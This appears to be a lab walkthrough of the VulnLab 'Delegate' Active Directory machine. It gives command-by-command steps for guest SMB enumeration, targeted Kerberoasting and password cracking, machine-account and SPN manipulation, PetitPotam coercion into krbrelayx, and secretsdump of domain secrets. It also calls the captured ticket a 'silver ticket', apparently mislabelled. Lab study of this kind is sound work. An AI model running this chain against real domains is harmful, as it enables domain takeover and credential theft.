VL-Delegate

Vulnlab Delegate: Exploiting Active Directory Delegation for Domain Takeover

In this detailed VulnLab walkthrough of the “Delegate” machine, we demonstrate how misconfigured Active Directory delegation settings can lead to complete domain compromise. Beginning with a null SMB session that reveals initial credentials, we leverage GenericWrite permissions to perform targeted Kerberoasting against a privileged user. The walkthrough progresses through advanced Active Directory attack techniques including machine account creation, DNS record manipulation, and unconstrained delegation exploitation to ultimately capture authentication tickets and extract domain secrets. This step-by-step pentesting guide highlights the critical security risks associated with delegation privileges in Windows domains and the importance of properly securing Active Directory configurations.

Initial Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Not shown: 65510 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2025-04-01T16:43:27+00:00; -1h59m53s from scanner time.
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Issuer: commonName=DC1.delegate.vl
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49672/tcp open unknown syn-ack ttl 127
49683/tcp open unknown syn-ack ttl 127
49685/tcp open unknown syn-ack ttl 127
64567/tcp open unknown syn-ack ttl 127
64591/tcp open unknown syn-ack ttl 127

SMB Enumeration

We can get access to the SMB server via a null session:

1
netexec smb 10.10.64.93 -u 'guest' -p '' --shares

SMB Guest Access

After gaining access to the NETLOGON share, we find a users.bat file:

1
smbclient //10.10.64.93/NETLOGON
1
get users.bat

Opening that file reveals credentials for what appears to be an Administrator account, as the command will run when the username is A.Briggs:

1
strings users.bat

Strings Output

The password didn’t work for Administrator but worked for A.Briggs. This gave us access to LDAP, so the next step was running BloodHound:

1
netexec ldap delegate.vl -u 'A.Briggs' -p ''
1
netexec smb delegate.vl -u 'A.Briggs' -p '' --shares

Initial Foothold

BloodHound Analysis

After analyzing the domain structure, we discovered that we have GenericWrite permissions over N.Thompson, who also has PSRemote access to the Domain Controller - a promising attack path:

1
netexec ldap 10.10.64.93 -u 'A.Briggs' -p '' --bloodhound --dns-server 10.10.64.93 -c All --dns-tcp

Attack Path

Exploiting GenericWrite

We abused the GenericWrite permissions using targeted Kerberoasting to obtain N.Thompson’s hash and crack the password:

1
python3 targetedKerberoast.py -v -d 'delegate.vl' -u 'a.briggs' -p ''

Kerberoast Results

1
hashcat hash9090.txt /usr/share/wordlists/rockyou.txt

Cracked Hash

Now we could connect to the machine using WinRM and retrieve the user flag:

1
evil-winrm -i 10.10.64.93 -u N.Thompson -p KALEB_2341

Unconstrained Delegation Exploitation

1
whoami /all

Delegation Privileges

According to HarmJ0y’s blog, this GPO is located at \DOMAIN\sysvol\testlab.local\Policies{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf. By adding any user SID or username to the SeEnableDelegationPrivilege line of the [Privilege Rights] section, the setting will take hold whenever the user/machine’s current DC reboots or refreshes its group policy.

This means we can abuse unconstrained delegation by creating a machine account and appending a Service Principal Name (SPN) to it. First, we need to check if the machine quota isn’t set to 0:

1
nxc ldap delegate.vl -u N.Thompson -p  -M maq

Machine Account Quota

1
impacket-addcomputer -dc-ip 10.10.64.93 -computer-pass HelloWorld123 -computer-name Evil delegate.vl/N.Thompson:''

Next, we add a DNS record for the machine account we created using krbrelayx:

1
python3 dnstool.py -u 'delegate.vl\Evil$' -p HelloWorld123 -r Evil.delegate.vl -d 10.8.5.195 --action add DC1.delegate.vl -dns-ip 10.10.64.93

To abuse unconstrained delegation, the machine account needs to have an SPN and TRUSTED_FOR_DELEGATION UAC. We can add the UAC using bloodyAD:

1
bloodyAD --host DC1.delegate.vl -u 'N.Thompson' -p '' -d 'delegate.vl' add uac 'Evil$' -f TRUSTED_FOR_DELEGATION

Now we append an SPN with addspn via msDS-AdditionalDnsHostName:

1
2
3
4
5
6
7
8
9
python3 addspn.py -u delegate\\N.Thompson -p 'KALEB_2341' -s CIFS/Evil.delegate.vl -q dc1.delegate.vl -t 'Evil$' -dc-ip 10.10.64.93
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=Evil,CN=Computers,DC=delegate,DC=vl - STATUS: Read - READ TIME: 2025-04-01T20:40:40.003792
msDS-AdditionalDnsHostName: Evil.delegate.vl
sAMAccountName: Evil$
servicePrincipalName: cifs/Evil.delegate.vl

Additionally, we’ll add a HOST SPN on the machine we’ve created:

1
python3 addspn.py -u delegate\\N.Thompson -p 'KALEB_2341' -s HOST/Evil.delegate.vl -q dc1.delegate.vl -t 'Evil$' -dc-ip 10.10.64.93 --additional

First, we need to convert the machine account password to the correct hash format:

1
2
iconv -f ASCII -t UTF-16LE <(printf 'HelloWorld123') | openssl dgst -md4
MD4(stdin)= 97f8b5c01517c9d59e586246f7c1803c
1
python3 ./krbrelayx.py -hashes :97f8b5c01517c9d59e586246f7c1803c

Then we execute PetitPotam to trigger the authentication:

1
python3 PetitPotam.py -u 'Evil$' -p 'HelloWorld123' Evil.delegate.vl 10.10.64.93

Delegation Attack
Delegation Success

We successfully obtained a silver ticket, which we now import:

1
export KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
1
impacket-secretsdump -k -no-pass DC1.delegate.vl

https://api.vulnlab.com/api/v1/share?id=c2872ceb-fa95-40cc-8623-396d1af89810